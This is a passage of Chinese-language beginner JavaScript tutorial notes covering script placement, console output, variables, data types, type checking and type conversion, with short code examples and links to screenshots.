&lt;p&gt;​		让计算机代为解决某个问题，使用某种程序设计语言编写代码，最终得到正确结果的过程。&lt;/p&gt;
&lt;h5&gt;1.2 机器语言&lt;/h5&gt;
&lt;p&gt;​		机器语言是用二进制代码表示的计算机能直接识别和执行的一种机器指指令系统令的集合。它是计算机的设计者通过计算机的硬件结构赋予计算机的操作功能。&lt;/p&gt;
&lt;h5&gt;1.3 编程语言&lt;/h5&gt;
&lt;p&gt;​		可以通过类似人类语言的语言来控制计算机。让计算机为我们做事情，这样的语言就叫编程语言。&lt;/p&gt;
&lt;p&gt;​		编程语言是用来控制计算机的一系列指令，有固定的格式和词汇（不同的编程语言的格式和词汇不一样），必须遵守。&lt;/p&gt;
&lt;h5&gt;1.4 翻译器&lt;/h5&gt;
&lt;p&gt;​		高级语言所编程的语言不能被计算机识别，必须经过转换才能执行，为此，我们就需要一个翻译器。&lt;/p&gt;
&lt;p&gt;​		JavaScript代码  —&amp;gt;  翻译器 （浏览器） —&amp;gt; 机器语言&lt;/p&gt;
&lt;h5&gt;1.5 浏览器执行JS&lt;/h5&gt;
&lt;p&gt;​		浏览器主要分成两部分：渲染引擎、JS解释器。&lt;/p&gt;
&lt;p&gt;​		渲染引擎：用于解析HTML与CSS，俗称内核。&lt;/p&gt;
&lt;p&gt;​		JS引擎：JS解释器，读取网页中的JavaScript代码并执行。&lt;/p&gt;
&lt;p&gt;​		浏览器本身不会执行JS代码，通过内置的JS引擎，逐行解释每一句代码（转换为机器语言），然后由计算机执行。&lt;/p&gt;
&lt;h5&gt;1.6 HTML、CSS、Javascript的关系&lt;/h5&gt;
&lt;p&gt;​		HTML：决定网页结构和内容。&lt;/p&gt;
&lt;p&gt;​		CSS：决定网页的模样。&lt;/p&gt;
&lt;p&gt;​		JavaScript：实现业务逻辑和页面控制（功能）。&lt;/p&gt;
&lt;h5&gt;1.7 JS的组成&lt;/h5&gt;
&lt;p&gt;​		ECMAScript：Javascript语法，由所有浏览器厂商共同遵守 （ECMA—欧洲计算机制造商协会）。&lt;/p&gt;
&lt;p&gt;​		DOM：页面文档对象，提供给Javascript很多操作页面中元素的属性和方法。&lt;/p&gt;
&lt;p&gt;​		BOM：浏览器对象模型，提供很多操作浏览器的属性和方法，比如：弹出框、获取分辨率等。&lt;/p&gt;
&lt;h5&gt;1.8 Js的书写位置&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;行内（不常用）&lt;/h5&gt;
&lt;p&gt;限制比较多，无法写多行代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 行内  限制比较多 --&amp;gt;
&amp;lt;button onclick=&quot;console.log(123123)&quot;&amp;gt;行内书写js&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;内部&lt;/h5&gt;
&lt;p&gt;在&lt;code&gt;html&lt;/code&gt;文件中，写一个&lt;code&gt;&amp;lt;script&amp;gt; &amp;lt;/script&amp;gt;&lt;/code&gt;标签。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 内部(script) --&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
    alert(&quot;hello world!&quot;);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;外部&lt;/h5&gt;
&lt;p&gt;将Javascript代码写到&lt;code&gt;.js&lt;/code&gt;文件中，通过&lt;code&gt;&amp;lt;script src=&quot;/* 文件路径 */&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;引入文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 外部引用 --&amp;gt;
&amp;lt;script src=&quot;./../js/demo.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.9 注释&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;单行注释：&lt;code&gt;// 注释内容&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;多行注释：&lt;code&gt;/* 注释内容 */&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;函数注释：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
  * 函数名、功能...
  */
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.10 Js输入输出语句&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;alert(msg)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览器弹出警示框&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;msg&lt;/strong&gt;：弹框内的显示的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alert(&quot;这是个弹出框&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4a67a4440b-image-20221111154423770-169882081502668.png&quot; alt=&quot;image-20221111154423770&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;console.log(msg)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览器控制台打印输出信息，程序员测试使用&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;msg&lt;/strong&gt;：输出的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;这是个控制台输出&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f2d73bd58a-image-20221111171145692-169882081774770.png&quot; alt=&quot;image-20221111171145692&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;prompt(info)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览器弹出输入框，用户可以输入&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;info&lt;/strong&gt;：输入框上方的提示信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prompt(&quot;请输入一个值&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d33d52e488-image-20221111154531569-169882082115372.png&quot; alt=&quot;image-20221111154531569&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 变量&lt;/h4&gt;
&lt;p&gt;​	用来存储数据的一个有名字的容器，通过名字可以获取数据、修改数据，就是变量。&lt;/p&gt;
&lt;h5&gt;2.1 声明&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键字 &lt;code&gt;var&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用该关键字声明一个变量。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;声明且赋值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;=&lt;/code&gt;号，将右边的值赋值给&lt;code&gt;num&lt;/code&gt;这个变量。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;声明不赋值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;只声明&lt;code&gt;num&lt;/code&gt;变量。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.2 命名规范&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;见名知意（最重要）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;驼峰式命名(Camel Case)&lt;/strong&gt;：首单词全小写，后面的单词首字母大写，如：studentNumber。&lt;/li&gt;
&lt;li&gt;可包含字母、数字、下划线、和美元符号。&lt;/li&gt;
&lt;li&gt;名称必须以字母、$或_开头。&lt;/li&gt;
&lt;li&gt;名称应注意大小写。&lt;/li&gt;
&lt;li&gt;保留字、关键字不能作为变量的名称，如：&lt;code&gt;var&lt;/code&gt;、&lt;code&gt;console&lt;/code&gt;、&lt;code&gt;window&lt;/code&gt;...。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;(三) 数据类型&lt;/h4&gt;
&lt;p&gt;​	对数据进行分类。JavaScript 的数据类型比较特殊， 拥有动态类型，相同的变量可以用作不同的类型，是根据等号右边的值来确定。&lt;/p&gt;
&lt;h5&gt;3.1 基础数据类型&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：数据存在栈里。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Number&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数字类型，包含&lt;strong&gt;整型值&lt;/strong&gt;和&lt;strong&gt;浮点型值&lt;/strong&gt;，如：&lt;code&gt;1&lt;/code&gt;  &lt;code&gt;0.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NaN&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;非数字类型，数学计算过程中若出现非&lt;code&gt;Number&lt;/code&gt;类型，则计算结果就是NaN。如：&lt;code&gt;&apos;hello world&apos; - 1&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;isNaN()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;判断是否是&lt;code&gt;NaN&lt;/code&gt;非数字类型，如果传入的值是数字或者能够转为数字，都会被当作是数字类型。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;String&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;字符串类型，需用&lt;code&gt;&apos; &apos;&lt;/code&gt;或&lt;code&gt;&quot; &quot;&lt;/code&gt;包裹。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;普通字符串&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&apos;hello world&apos;&lt;/code&gt; 或 &lt;code&gt;&quot;hello world&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;转义字符&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;\&lt;/code&gt;+特定字符，会解析为转义字符。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\n&lt;/code&gt;：换行符。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\\&lt;/code&gt;：输出一个&lt;code&gt;\&lt;/code&gt;字符。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\&apos;&lt;/code&gt;：输出一个&lt;code&gt;&apos;&lt;/code&gt;字符。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\&quot;&lt;/code&gt;：输出一个&lt;code&gt;&quot;&lt;/code&gt;字符。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;\n&quot;)
console.log(&quot;\\&quot;)
console.log(&quot;\&apos;&quot;)
console.log(&quot;\&quot;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9a9560b9bc-image-20221111171208936.png&quot; alt=&quot;image-20221111171208936&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;length&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;通过&lt;code&gt;变量名/字符串.length&lt;/code&gt;的方式，可以获取字符串的长度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hellow world&quot;
console.log(srt.length)
console.log(&apos;hellow world&apos;.length)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4c5982af8f-image-20221111171229460.png&quot; alt=&quot;image-20221111171229460&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;字符串拼接&lt;/h5&gt;
&lt;p&gt;js中，对&lt;code&gt;String&lt;/code&gt;类型进行&lt;strong&gt;加法&lt;/strong&gt;操作，会拼接字符串。若与其他数据类型拼接，结果也是&lt;code&gt;String&lt;/code&gt;类型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：字符串拼接仅限&lt;strong&gt;加法&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;hellow world&quot; + 1 + true + NaN )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/0804857b8a-image-20221111171249458.png&quot; alt=&quot;image-20221111171249458&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;undefined&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;变量没有被赋值，也可以手动对变量赋值为&lt;code&gt;undefined&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num
console.log(num)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/410e60eaec-image-20221111171306010.png&quot; alt=&quot;image-20221111171306010&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;空值，表示没有数据，可以手动赋值为&lt;code&gt;null&lt;/code&gt;，常见于后端返回数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num = null
console.log(null)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/fceb0a2096-image-20221111171323140.png&quot; alt=&quot;image-20221111171323140&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Boolean&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;布尔类型，只有&lt;code&gt;true&lt;/code&gt;和&lt;code&gt;false&lt;/code&gt;两种值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为false的值&lt;/strong&gt;：&lt;code&gt;0&lt;/code&gt;、&lt;code&gt;NaN&lt;/code&gt;、&lt;code&gt;&apos;&apos;&lt;/code&gt;、&lt;code&gt;&quot;&quot;&lt;/code&gt;、&lt;code&gt;undefined&lt;/code&gt;、&lt;code&gt;null&lt;/code&gt;、&lt;code&gt;false&lt;/code&gt;、错误的判断表达式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var bool = true
console.log(bool)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/57dacb976b-image-20221111171339063.png&quot; alt=&quot;image-20221111171339063&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 引用数据类型&lt;/h5&gt;
&lt;p&gt;​	&lt;strong&gt;特点&lt;/strong&gt;：值存放在堆里。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Array&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数组类型，常用来存放一组意义相同的数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 一个存放数字的数组
var numArr = [0,1,2,3,4,5,6,7,8,9]
console.log(numArr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c04fe4497c-image-20221113235737632.png&quot; alt=&quot;image-20221113235737632&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Object&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对象类型，常用于存放一个相关度高的信息数据，如一个人的信息。（后续专门介绍）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;strong&gt;键值对&lt;/strong&gt;，每一个信息都是键值对的形式（&lt;code&gt;键:值&lt;/code&gt;）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = {
    name:&quot;小明&quot;,
    age:22,
    isAdult:true,    
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/7f554f0d68-image-20221113235814877.png&quot; alt=&quot;image-20221113235814877&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 栈与堆&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础数据类型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;存在&lt;strong&gt;栈&lt;/strong&gt;中，赋值和拷贝都会新开一个栈空间，数据间相互独立。&lt;/p&gt;
&lt;p&gt;​	&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b6d9d742dd-image-20221111162016928.png&quot; alt=&quot;image-20221111162016928&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;引用数据类型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;存在&lt;strong&gt;堆&lt;/strong&gt;中，赋值会新开一个堆空间，拷贝会引用目标的堆地址，导致指向同一个地址空间。&lt;/p&gt;
&lt;p&gt;修改任意一份拷贝的值，都是在修改改地址的数据，会导致所有拷贝的数据都发生变化。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/56cb7ee1ee-image-20221111162338806.png&quot; alt=&quot;image-20221111162338806&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(四) 检测数据类型&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;typeof&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用来判断&lt;strong&gt;基础数据类型&lt;/strong&gt;，判断结果是全小写的基础数据类型字符串（&lt;code&gt;string&lt;/code&gt; &lt;code&gt;number&lt;/code&gt; &lt;code&gt;boolen&lt;/code&gt;...）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;typeof 变量&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var stuNum = 10
var isTrue = false
// 输出数据、数据类型、typeof结果的数据类型
console.log(stuNum, typeof stuNum, typeof(typeof stuNum));
// 输出数据、数据类型
console.log(isTrue, typeof isTrue);
// 判断数据类型
if(typeof stuNum == &quot;number&quot;){
    console.log(&quot;是数字&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/26c3bcee7c-image-20221113235646217.png&quot; alt=&quot;image-20221113235646217&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;instanceof&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用来判断&lt;strong&gt;引用数据类型&lt;/strong&gt;，判断结果是Boolean类型，&lt;code&gt;true&lt;/code&gt;或者&lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;变量 instanceof 数据类型&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [1,2,3]
var obj = {name:&quot;小明&quot;}
// 输出数据、数据类型、typeof结果的数据类型
console.log(arr, arr instanceof Array, typeof(arr instanceof Array));
// 输出数据、数据类型
console.log(obj, obj instanceof Object);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(五) 数据类型转换&lt;/h4&gt;
&lt;p&gt;​	把数据转换为别的数据类型。&lt;/p&gt;
&lt;h5&gt;5.1 转为String&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;toString()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;变量.toString()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Number类型 =&amp;gt; String类型
var num = 50
var numToString = num.toString()
console.log(numToString, typeof numToString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c74ad8dc2f-image-20221114142046147.png&quot; alt=&quot;image-20221114142046147&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;String()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;String(变量)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Number类型 =&amp;gt; String类型
var num = 50
var numToString = String(num)
console.log(numToString, typeof numToString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c74ad8dc2f-image-20221114142046147.png&quot; alt=&quot;image-20221114142046147&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;隐式转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在一个&lt;strong&gt;加法运算式&lt;/strong&gt;中，如果出现一项为&lt;code&gt;String&lt;/code&gt;类型数据，则js会将其当作&lt;strong&gt;字符串拼接&lt;/strong&gt;，将任何数据类型都转为&lt;code&gt;String&lt;/code&gt;进行拼接。因此可以利用这个特性，拼接一个空字符&lt;code&gt;&quot;&quot;&lt;/code&gt;达到数据转换的效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;变量 + &quot;&quot;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Number类型 =&amp;gt; String类型
var num = 50
var numToString = num + &apos;&apos;
console.log(numToString, typeof numToString);

// Boolean类型 =&amp;gt; String类型
var bool = true
var boolToString = bool + &apos;&apos; 
console.log(boolToString, typeof boolToString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/43a6073e63-image-20221114142309436.png&quot; alt=&quot;image-20221114142309436&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.2 转为Number&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;parseInt()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将&lt;strong&gt;形如数字&lt;/strong&gt;的字符串，转为Number类型的整数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;parseInt(String)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方法不会保留小数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 形如数字的字符串 =&amp;gt; Number类型
var numStr = &apos;50.15&apos;
console.log(parseInt(numStr), typeof parseInt(numStr), &apos;parseInt&apos;);
// 非数字字符串
var str = &apos;hello world&apos;
console.log(parseInt(str), &apos;parseInt&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/0ccb308b08-image-20221114142231516.png&quot; alt=&quot;image-20221114142231516&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;parseFloat()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将&lt;strong&gt;形如数字&lt;/strong&gt;的字符串，转为Number类型的浮点数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;parseFloat(String)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 形如数字的字符串 =&amp;gt; Number类型
var numStr = &apos;50.15&apos;
console.log(parseFloat(numStr), typeof parseFloat(numStr), &apos;parseFloat&apos;);
// 非数字字符串
var str = &apos;hello world&apos;
console.log(parseFloat(str), &apos;parseFloat&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d9056aeaba-image-20221114142341181.png&quot; alt=&quot;image-20221114142341181&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Number()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将&lt;strong&gt;形如数字&lt;/strong&gt;的字符串，转为Number类型，会自动保留小数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;Number(String)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 整数形式
var numStr1 = &apos;50&apos;
console.log(parseFloat(numStr1), typeof parseFloat(numStr1), &apos;Number&apos;);
// 小数形式
var numStr2 = &apos;50.15&apos;
console.log(parseFloat(numStr2), typeof parseFloat(numStr2), &apos;Number&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b63bbed973-image-20221114142408657.png&quot; alt=&quot;image-20221114142408657&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;隐式转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在一个只含有 &lt;strong&gt;乘法 &lt;code&gt;*&lt;/code&gt;、除法 &lt;code&gt;/&lt;/code&gt;、减法 &lt;code&gt;-&lt;/code&gt;&lt;/strong&gt; 的计算式中，js会将每一项都自动转为&lt;code&gt;Number&lt;/code&gt;类型进行运算。因此可以利用这个特性，进行算术运算达到数据转换的效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;变量 - 0&lt;/code&gt;、&lt;code&gt;变量 * 1&lt;/code&gt;、&lt;code&gt;变量 / 1&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var numStr = &quot;50&quot;
// 乘法转换
var result1 = numStr * 1
console.log(result1, typeof result1, &apos;乘法&apos;);
// 除法转换
var result2 = numStr / 1
console.log(result2, typeof result2, &apos;除法&apos;);
// 减法转换
var result3 = numStr - 0
console.log(result3, typeof result3, &apos;减法&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8762ae583c-image-20221114142433678.png&quot; alt=&quot;image-20221114142433678&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.3 转为Boolean&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Boolean()&lt;/strong&gt;&lt;/p&gt;
